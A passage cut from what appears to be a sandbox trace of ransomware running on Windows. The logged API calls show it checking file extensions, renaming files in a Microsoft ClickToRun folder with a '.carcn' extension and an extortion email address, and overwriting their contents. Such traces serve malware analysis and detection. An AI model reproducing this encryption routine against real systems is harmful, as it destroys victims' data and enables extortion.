(lpString1=".rar", lpString2=".dll") returned 1 [0293.164] lstrlenW (lpString=".bz2") returned 4 [0293.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.164] lstrlenW (lpString=".7z") returned 3 [0293.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.164] lstrlenW (lpString=".dbf") returned 4 [0293.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.164] lstrlenW (lpString=".1cd") returned 4 [0293.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.164] lstrlenW (lpString=".jpg") returned 4 [0293.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.164] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.164] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0293.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0293.165] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=210648) returned 1 [0293.165] CloseHandle (hObject=0x338) returned 1 [0293.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0293.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.165] lstrlenW (lpString=".doc") returned 4 [0293.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString=".docx") returned 5 [0293.166] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.166] lstrlenW (lpString=".pdf") returned 4 [0293.166] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString=".xls") returned 4 [0293.166] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString=".xlsx") returned 5 [0293.166] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.166] lstrlenW (lpString=".ppt") returned 4 [0293.166] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.166] lstrlenW (lpString=".zip") returned 4 [0293.166] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString=".rar") returned 4 [0293.166] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString=".bz2") returned 4 [0293.166] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.166] lstrlenW (lpString=".7z") returned 3 [0293.166] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.166] lstrlenW (lpString=".dbf") returned 4 [0293.166] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.166] lstrlenW (lpString=".1cd") returned 4 [0293.166] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.166] lstrlenW (lpString=".jpg") returned 4 [0293.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString=".doc") returned 4 [0293.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString=".docx") returned 5 [0293.167] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.167] lstrlenW (lpString=".pdf") returned 4 [0293.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString=".xls") returned 4 [0293.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString=".xlsx") returned 5 [0293.167] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.167] lstrlenW (lpString=".ppt") returned 4 [0293.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString=".zip") returned 4 [0293.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString=".rar") returned 4 [0293.167] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.167] lstrlenW (lpString=".bz2") returned 4 [0293.167] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.167] lstrlenW (lpString=".7z") returned 3 [0293.167] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString=".dbf") returned 4 [0293.167] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString=".1cd") returned 4 [0293.167] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0293.167] lstrlenW (lpString=".jpg") returned 4 [0293.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.168] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.168] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0293.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0293.168] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1402584) returned 1 [0293.168] CloseHandle (hObject=0x338) returned 1 [0293.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0293.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.169] lstrlenW (lpString=".doc") returned 4 [0293.169] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString=".docx") returned 5 [0293.169] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.169] lstrlenW (lpString=".pdf") returned 4 [0293.169] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString=".xls") returned 4 [0293.169] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString=".xlsx") returned 5 [0293.169] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.169] lstrlenW (lpString=".ppt") returned 4 [0293.169] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.169] lstrlenW (lpString=".zip") returned 4 [0293.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString=".rar") returned 4 [0293.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.169] lstrlenW (lpString=".bz2") returned 4 [0293.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.169] lstrlenW (lpString=".7z") returned 3 [0293.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString=".dbf") returned 4 [0293.170] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString=".1cd") returned 4 [0293.170] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString=".jpg") returned 4 [0293.170] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString=".doc") returned 4 [0293.170] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString=".docx") returned 5 [0293.170] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0293.170] lstrlenW (lpString=".pdf") returned 4 [0293.170] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString=".xls") returned 4 [0293.170] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString=".xlsx") returned 5 [0293.170] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0293.170] lstrlenW (lpString=".ppt") returned 4 [0293.170] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.170] lstrlenW (lpString=".zip") returned 4 [0293.170] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString=".rar") returned 4 [0293.170] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.170] lstrlenW (lpString=".bz2") returned 4 [0293.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.171] lstrlenW (lpString=".7z") returned 3 [0293.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.171] lstrlenW (lpString=".dbf") returned 4 [0293.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.171] lstrlenW (lpString=".1cd") returned 4 [0293.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0293.171] lstrlenW (lpString=".jpg") returned 4 [0293.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.171] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.171] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0293.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0293.172] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1761448) returned 1 [0293.172] CloseHandle (hObject=0x338) returned 1 [0293.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0293.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0293.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0293.173] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0x0) returned 1 [0293.173] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0293.173] ReadFile (in: hFile=0x338, lpBuffer=0x3f52058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f52058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.186] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0293.187] ReadFile (in: hFile=0x338, lpBuffer=0x3f92058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f92058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.193] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0293.193] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0293.193] ReadFile (in: hFile=0x338, lpBuffer=0x3fd2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3fd2058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0293.580] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.581] WriteFile (in: hFile=0x338, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x34ffca8, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffca8*=0xc011a, lpOverlapped=0x0) returned 1 [0293.623] SetEndOfFile (hFile=0x338) returned 1 [0293.623] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44c48c8 [0294.378] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0294.379] WriteFile (in: hFile=0x338, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.380] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0294.380] WriteFile (in: hFile=0x338, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.383] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0294.383] WriteFile (in: hFile=0x338, lpBuffer=0x44c48c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44c48c8*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.386] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44c48c8 | out: hHeap=0x700000) returned 1 [0294.387] CloseHandle (hObject=0x338) returned 1 [0294.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.388] lstrlenW (lpString=".doc") returned 4 [0294.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString=".docx") returned 5 [0294.388] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0294.388] lstrlenW (lpString=".pdf") returned 4 [0294.388] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString=".xls") returned 4 [0294.388] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString=".xlsx") returned 5 [0294.388] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0294.388] lstrlenW (lpString=".ppt") returned 4 [0294.388] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.388] lstrlenW (lpString=".zip") returned 4 [0294.388] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString=".rar") returned 4 [0294.388] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.388] lstrlenW (lpString=".bz2") returned 4 [0294.388] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.388] lstrlenW (lpString=".7z") returned 3 [0294.388] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.388] lstrlenW (lpString=".dbf") returned 4 [0294.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.389] lstrlenW (lpString=".1cd") returned 4 [0294.389] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.389] lstrlenW (lpString=".jpg") returned 4 [0294.389] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.389] lstrlenW (lpString=".doc") returned 4 [0294.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString=".docx") returned 5 [0294.389] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0294.389] lstrlenW (lpString=".pdf") returned 4 [0294.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString=".xls") returned 4 [0294.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString=".xlsx") returned 5 [0294.389] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0294.389] lstrlenW (lpString=".ppt") returned 4 [0294.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.389] lstrlenW (lpString=".zip") returned 4 [0294.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString=".rar") returned 4 [0294.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.389] lstrlenW (lpString=".bz2") returned 4 [0294.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.389] lstrlenW (lpString=".7z") returned 3 [0294.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.390] lstrlenW (lpString=".dbf") returned 4 [0294.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.390] lstrlenW (lpString=".1cd") returned 4 [0294.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0294.390] lstrlenW (lpString=".jpg") returned 4 [0294.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.390] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.390] lstrlenW (lpString="concrt140.dll") returned 13 [0294.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.391] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=332968) returned 1 [0294.391] CloseHandle (hObject=0x338) returned 1 [0294.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0294.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.391] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.391] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0294.392] GetLastError () returned 0x0 [0294.392] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x514a8, lpOverlapped=0x0) returned 1 [0294.467] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x514b0, lpOverlapped=0x0) returned 1 [0294.474] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, 